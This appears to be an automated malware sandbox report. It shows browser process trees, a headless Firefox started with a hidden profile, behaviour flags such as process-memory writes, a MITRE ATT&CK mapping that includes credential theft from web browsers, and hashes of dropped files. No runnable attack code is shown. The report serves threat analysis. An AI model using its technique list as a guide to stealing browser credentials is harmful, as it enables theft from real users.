    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5308,i,16630599588483098484,17370629097295750200,2097152 --field-trial-handle=2052,i,3154527423720711914,11446322058689128017,262144 --variations-seed-version --mojo-platform-channel-handle=5528 /prefetch:1
    3⤵
    PID:4892
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5444,i,347113614284173647,13865629324167649950,524288 --field-trial-handle=2052,i,3154527423720711914,11446322058689128017,262144 --variations-seed-version --mojo-platform-channel-handle=5700 /prefetch:14
    3⤵
    PID:4456
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=6056,i,13053024624869766500,6025185766999853052,2097152 --field-trial-handle=2052,i,3154527423720711914,11446322058689128017,262144 --variations-seed-version --mojo-platform-channel-handle=5980 /prefetch:1
    3⤵
    PID:4888
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5848,i,8846213231215289236,23846401557263367,2097152 --field-trial-handle=2052,i,3154527423720711914,11446322058689128017,262144 --variations-seed-version --mojo-platform-channel-handle=5996 /prefetch:9
    3⤵
    PID:2576
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5828,i,5904420755821763972,3243414196471056651,524288 --field-trial-handle=2052,i,3154527423720711914,11446322058689128017,262144 --variations-seed-version --mojo-platform-channel-handle=5276 /prefetch:14
    3⤵
    PID:4924
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5728,i,4262751704412395466,6491118698101549738,524288 --field-trial-handle=2052,i,3154527423720711914,11446322058689128017,262144 --variations-seed-version --mojo-platform-channel-handle=6028 /prefetch:14
    3⤵
    PID:5640
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5372,i,10016220350325558660,15104754014691516084,524288 --field-trial-handle=2052,i,3154527423720711914,11446322058689128017,262144 --variations-seed-version --mojo-platform-channel-handle=3124 /prefetch:14
    3⤵
    PID:4628
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-first-run --no-default-browser-check about:blank
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:4608
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x260,0x264,0x268,0x25c,0x288,0x7ffc4e10c188,0x7ffc4e10c194,0x7ffc4e10c1a0
    3⤵
    PID:5976
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1636,i,5220203443145783363,15372097138477350750,262144 --field-trial-handle=2392,i,12025141333584083594,11781773426742511272,262144 --variations-seed-version --mojo-platform-channel-handle=2380 /prefetch:2
    3⤵
    PID:2060
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1856,i,15955758733247187103,3084090016170338479,524288 --field-trial-handle=2392,i,12025141333584083594,11781773426742511272,262144 --variations-seed-version --mojo-platform-channel-handle=2428 /prefetch:11
    3⤵
    - System Time Discovery
    PID:5788
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2408,i,889047961212381266,10186261671087892036,524288 --field-trial-handle=2392,i,12025141333584083594,11781773426742511272,262144 --variations-seed-version --mojo-platform-channel-handle=3216 /prefetch:13
    3⤵
    PID:4204
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3536,i,11330746018753156494,4711571169499020485,2097152 --field-trial-handle=2392,i,12025141333584083594,11781773426742511272,262144 --variations-seed-version --mojo-platform-channel-handle=3596 /prefetch:1
    3⤵
    PID:948
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3540,i,15157994638746010378,12434909083229301247,2097152 --field-trial-handle=2392,i,12025141333584083594,11781773426742511272,262144 --variations-seed-version --mojo-platform-channel-handle=3600 /prefetch:1
    3⤵
    PID:3236
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4168,i,11476183861235086962,17798802099972409277,2097152 --field-trial-handle=2392,i,12025141333584083594,11781773426742511272,262144 --variations-seed-version --mojo-platform-channel-handle=4188 /prefetch:1
    3⤵
    PID:1412
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4192,i,6237599015110906849,477068677170175828,2097152 --field-trial-handle=2392,i,12025141333584083594,11781773426742511272,262144 --variations-seed-version --mojo-platform-channel-handle=4244 /prefetch:9
    3⤵
    PID:1512
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4384,i,11432088978431634732,12316476961368028661,524288 --field-trial-handle=2392,i,12025141333584083594,11781773426742511272,262144 --variations-seed-version --mojo-platform-channel-handle=5116 /prefetch:14
    3⤵
    PID:1836
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -headless -no-remote -profile "C:\Users\Public\.ff_tmp"
  2⤵
  PID:6024
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -headless -no-remote -profile C:\Users\Public\.ff_tmp
    3⤵
    - Checks processor information in registry
    - Suspicious use of FindShellTrayWindow
    PID:4896
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2776 -prefsLen 24445 -prefMapHandle 2780 -prefMapSize 268500 -ipcHandle 2856 -initialChannelId {efe04df1-84ba-4552-b7e9-4e0a2e44db3d} -parentPid 4896 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4896" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 socket
      4⤵
      PID:200
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 1592 -prefsLen 24610 -prefMapHandle 1728 -prefMapSize 268500 -jsInitHandle 1780 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 1944 -initialChannelId {5dc66f5b-5255-439d-8c37-d00c5d0e4374} -parentPid 4896 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4896" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 tab
      4⤵
      Checks processor information in registry
      PID:4004
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3732 -prefsLen 25493 -prefMapHandle 3736 -prefMapSize 268500 -ipcHandle 3764 -initialChannelId {a2b006a1-39c9-4bee-95d7-fb9e64d58e75} -parentPid 4896 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4896" -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 rdd
      4⤵
      PID:3228
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4144 -prefsLen 25604 -prefMapHandle 4148 -prefMapSize 268500 -jsInitHandle 4152 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4160 -initialChannelId {11c85ec6-c9cf-4abe-9892-e4f8efb2b247} -parentPid 4896 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4896" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 tab
      4⤵
      Checks processor information in registry
      PID:4508

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3396

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4496

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:5456

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1988

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Access Token Manipulation

T1134

Parent PID Spoofing

T1134.004

Process Injection

T1055

Defense Evasion

Access Token Manipulation

T1134

Parent PID Spoofing

T1134.004

Process Injection

T1055

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

update-config.json

Path C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\308046B0AF4A39CB\update-config.json
Size 102B
SHA256 ffad3b0fb11fc38ea243bf3f73e27a6034860709b39bf251ef3eca53d4c3afda
MD5 7d1d7e1db5d8d862de24415d9ec9aca4
SHA1 f4cdc5511c299005e775dc602e611b9c67a97c78
SHA512 1688c6725a3607c7b80dfcd6a8bea787f31c21e3368b31cb84635b727675f426b969899a378bd960bd3f27866023163b5460e7c681ae1fcb62f7829b03456477
TLSH
T12BB012800100B658F0FC4CCC05303B3E0248402D44CF3903004D30A0787B0020A094FE
MD5 SHA1 SHA512 TLSH

Submit Download

03134471-ba49-4644-9bb4-24ed38696f6a.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\03134471-ba49-4644-9bb4-24ed38696f6a.tmp
Size 144KB
SHA256 d626ade97b089d65e7c3588f0fde55a6d51efc802e3c5ed66eead30f97562503
MD5 824d7c1db1b6408f9900a5f79d8dbfbe
SHA1 adb21940df6b69334e9ae355d06cc26a5a4caceb
SHA512 9cc3edf3b345f9532759a7ad55c78d142dad0acb42f0b5868fabd31f11fc6a71e6cffb8d490126f078790cd633dd8c7b523c38deb69c18e7474b00a14d51c1dd
SSDEEP 3072:rk9gFsosx9JFSPHLPWIpOGC4BIxMSqvWC0NSL0+o/GpuY8gXe9l:dCx9SPrLpOF5ddSQ4uY8/f
TLSH
T179E3027C771C6E73C2C8C00A809D7C0A8A99DEC58E548E6FE6CD4B1B07A7537166AE5C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

4df11738-9729-4ac0-8863-0d5c2c0a74b9.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\4df11738-9729-4ac0-8863-0d5c2c0a74b9.tmp
Size 4KB
SHA256 7237938ac72e8f01eddff5d97bb3bfd42fd16ac237fa9174dd16aedb1d1fcfe0
MD5 5af4c880d9195a5f60d1f288b769f043
SHA1 978e4f4cd4f2f4035f0c54817edf54348f360680
SHA512 d3ff2a38ed3a324bfea30c0948779a6fb90d29fa76cd6c5bf27b7ed6a83e410553d851366c19e2dd6be0a6ac363726b3406a041f24f7fea4daf60de91ff72053
SSDEEP 96:E3C0d+OBIsu/Fl3fIUKsI8EnZIJRDotok5JiDNB6m8dGyvELkzAvrbuj1v4a:kC0pB+fTbnvDUDiT4w/gAvrbu1
TLSH
T12DA12A31A8B88CB755B5C584B5963E43CFB862ABE8109E80D9DE1E0D11A71F82381A67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

8bfdfe2d-3ebe-491c-9396-7d3d56e95b1f.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\8bfdfe2d-3ebe-491c-9396-7d3d56e95b1f.tmp
Size 144KB
SHA256 d1739e2a93b8f4ba6d1b1b0906c4ed8fa4e2fd47fc2a2322562745cb040757e2
MD5 096672999b251fcaceb57fe21136890e
SHA1 0f852282baec2edaf68068961f21d6d4a3565d8a
SHA512 7dc9e9842ddf826afc370af2e441e9de35a60dfa8d8801c8fce286fab65ce0a9dbcf7c14f9239e2b9135b8896257e6fa0a298028a9e045425afc9d74d6a497c3
SSDEEP 3072:yk9gFsosx9JFSPHLPWIpOGC4BIxMSqvWC0NSL0+o/GpuY8gXe9l:CCx9SPrLpOF5ddSQ4uY8/f
TLSH
T1CCE3127C771C6E73C2C8C00A809D7C0A8A99DEC58E548E6BE6CD4B1B07A7537166AE5C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

24b9ca41-883f-47b5-b7fe-d6dd44bf3cf3.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\24b9ca41-883f-47b5-b7fe-d6dd44bf3cf3.tmp
Size 13KB
SHA256 73cbb2e6f0c3efd31741374f6ab8b8184abee97d43faffd9a6a49ed7a4bf4f99
MD5 c323d31e3822413f4cc818056b20c82a
SHA1 a4f375c15a83100baf362efad17f01ae72ba9d3d
SHA512 0b9aa5f0020a0217b3f2c2bd0ef9d457a492ee0eaf03c73388fd3e1b210e0c1bbbc5bcdeeb79b4da07c62e37d7f6b14214b8c5a4270899589fa24b2e9b4fe326
SSDEEP 384:QGjDC7KxkXqKf/pUZNCgVLH2HfgslDLXODgj+ErU3DlHGQYX3VGjC:QmDC7KxkXqKf/pUZNCgVLH2Hfgs1TOEt
TLSH
T18C52F827948D953B0FD8CA8CDC17AF8FACB502566668492457FA9C0803A9BCF114A2F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

55c4d211-38c3-41d4-803c-408b4f0fab12.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\55c4d211-38c3-41d4-803c-408b4f0fab12.tmp
Size 11KB
SHA256 a776c834a93b0e4df00c2d65f563a382d2f887ef184f685fb4c4a48f29bfb2c8
MD5 873608a92d4743388f24e0c2f6240ce1
SHA1 08dcb4170643260a56108fbd06709e0e8cad2443
SHA512 108ccec7d286da4339454f4c71401ede07c225057b1684762648dc8344bba68bbb2c8d2fff7b2f6485f16ac5a095735677324e96c2828b136cb45389c9417dbb
SSDEEP 192:wR1oXcftv7H8vAPRp2b9OHsb+WNnlTPqU2ICcH3VyIsnAUge:wR1oX0Nb86XokwlPP2ICge
TLSH
T1F832952DEA24753B9CDBC319FA62B753E6F9102560D42E84E6FC893C15E79CD2217017
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en\messages.json
Size 593B
SHA256 92f1246c21dd5fd7266ebfd65798c61e403d01a816cc3cf780db5c8aa2e3d9c9
MD5 91f5bc87fd478a007ec68c4e8adf11ac
SHA1 d07dd49e4ef3b36dad7d038b7e999ae850c5bef6
SHA512 fdc2a29b04e67ddbbd8fb6e8d2443e46badcb2b2fb3a850bbd6198cdccc32ee0bd8a9769d929feefe84d1015145e6664ab5fea114df5a864cf963bf98a65ffd9
TLSH
T109F09C8CD050E86F02B2411AB1647314FB51037A0751A59F393CDC0D9FB6DA751C6F4D
MD5 SHA1 SHA512 TLSH

Submit Download

craw_background.js

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js
Size 531KB
SHA256 04cd9494b0ed83924dad12202630b20d053d9e2819c8e826a386c814cc0a1697
MD5 6eebed29e6a6301e92a9b8b347807f5f
SHA1 65dfb69b650560551110b33dcba50b25e5b876de
SHA512 fede6db31f2ad242e7bc7b52a8859ba7f466a0b920a8dadcb32dcfb5b2a2742e98b767ff22e0c5bc5c11fec021240aa9e458486c9039eb4ebe5cf6af7be97bf2
SSDEEP 6144:abyfBNC2FRdjiRXqbe5Dq31IVlMqX+wd5/CcMMJcRULt0NjyTOEzZQ+h72W3GB0n:Ft/g
TLSH
T1B5C4F74C34C2E8CD6A623DA5247B9085A2319266F4479ED9F0EDECF21AF44641937F3E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

5a77bea6-967d-4cdd-bd5b-4682a0609141.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\5a77bea6-967d-4cdd-bd5b-4682a0609141.tmp
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

temp-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir\temp-index
Size 72B
SHA256 642df046ed4d395798fa0a77328c59c6191fce30ca92e0c120f60a0f57fcc6c9
MD5 f675518eefbe3f7e1c5d7cc34db58c31
SHA1 6831dfbea437f00046025237c298d13ba87aff45
SHA512 7e6b86d1709e304ade75a7a06a49e70eb2cf4e9e95138c367ce01ec42dcdb98d1e84602a0e7f6d6c0ab62be391c34d2e4d723ff50bde5a38bf6ee332c6bd24ef
TLSH
T128A0022481C05831DD9652B2A461194173524C142552D73396E508759CBB5C0C509640
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir\the-real-index
Size 48B
SHA256 3128a14ff3b8ca8aea48050644d42cf82ba11e3c8b21056d0960aecf5112b7f0
MD5 3078d40390e043063f09d6d365c0a027
SHA1 b023d57c9d59a6b4190b5cbe2f411125cd952d8b
SHA512 2ce2c94b13ca151bf2bef2837d636c6d4f55bd586e09b86811780e353fece003e46a220a5e3723b45d56f87c6a3dacfecfd55eb3f6bd1cd1ad9b11c0b97fb9d8
MD5 SHA1 SHA512

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnWebGPUCache\data_1
Size 264KB
SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
MD5 f50f89a0a91564d0b8a211f8921aa7de
SHA1 112403a17dd69d5b9018b8cede023cb3b54eab7d
SHA512 bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58
SSDEEP 3:MsEllllkEthXllkl2zE:/M/xT02z
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_0
Size 8KB
SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
MD5 cf89d16bb9107c631daabf0c0ee58efb
SHA1 3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b
SHA512 8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0
SSDEEP 3:MsFl:/F
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_2
Size 8KB
SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
MD5 0962291d6d367570bee5454721c17e11
SHA1 59d10a893ef321a706a9255176761366115bedcb
SHA512 f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed
SSDEEP 3:MsHlDll:/H
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_3
Size 8KB
SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
MD5 41876349cb12d6db992f1309f22df3f0
SHA1 5cf26b3420fc0302cd0a71e8d029739b8765be27
SHA512 e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e
SSDEEP 3:MsGl3ll:/y
MD5 SHA1 SHA512 SSDEEP

Submit Download

d726fa6b-4ab8-4688-b2de-8bb2156f20a4.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\d726fa6b-4ab8-4688-b2de-8bb2156f20a4.tmp
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

4a6dc89f-7fa1-404f-8fea-b418b0df772a.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\4a6dc89f-7fa1-404f-8fea-b418b0df772a.tmp
Size 37KB
SHA256 03c92776dbd2df41e8a2da5d91d3fa31d0f73918b23f12d2c43f78719913da64
MD5 732af76d196d9a242f0d7da4609bbeb5
SHA1 b252c17dc603eecb8fcc347dd0dc15833c278f41
SHA512 19d23a9ea4d956b191b5a3145ef7d3bcf507d39cee5a981f8997446d4a7cb844fb76682d0933f7bc1455c9671971d4fd2a9e74b84622d5cc28492cfe6e80944a
SSDEEP 768:R/UxvxjgC+W31Chc7fZrKHp5XSwQs88uBkiTCB/P84g:kZj3+W31/trYILNB8Hg
TLSH
T12C03D039EC946863ACB7A385375A275BAFF05053C4C40BA849EE7A1E028B35D6307897
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

5e8e4175-ce81-48ac-b955-8fc57bb7aaf4.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\5e8e4175-ce81-48ac-b955-8fc57bb7aaf4.tmp
Size 38KB
SHA256 0814e22f427374fba5353761ff03dfafe4185e4602446df30f0b0c6950258a0b
MD5 c3a4b3f7b4b0e0826e59f52302d55ae8
SHA1 2143aff17fc39572807b61c2e8444f697cba72dc
SHA512 c7ddcd637db4a5416c65b9b80e9a974abf1575b9fc45e82dde2bcda188d809a4976fa0394b8a03f5cf4d598e625b7dc61e1f1636c3a3f7e058afcb79b095f373
SSDEEP 768:8/UxvxjgC+W3tATc7fZrKrHxp5XSwQs88uBkiTz2/P84g:pZj3+W3tntrG/ILNBcHg
TLSH
T1E903C038FC946863ACB7D7413A5B274BAFF02057C0C40AA48DDE6A1E028735D2747897
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 a0b193400a27c0cdf94ac11f5fb5b0747828b5b461169cefeffb96191b9e4834
MD5 edaab58c014c1abbfa900853b2ab2696
SHA1 e35eb02c0343d109af1ddd7dbd39dee3b989aea3
SHA512 b3cca7ed39fd4708b9c01cbefd67aab972f585372e01b5fa39d4a0840a7f579725d1202ab2916cda4e7635fb16dbc74178888461c7b6a2b3ea91d273ce2909ea
TLSH
T1BBD02B75F96ECC23E85204F940D24208329775818C0441812601CC080A603850000182
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
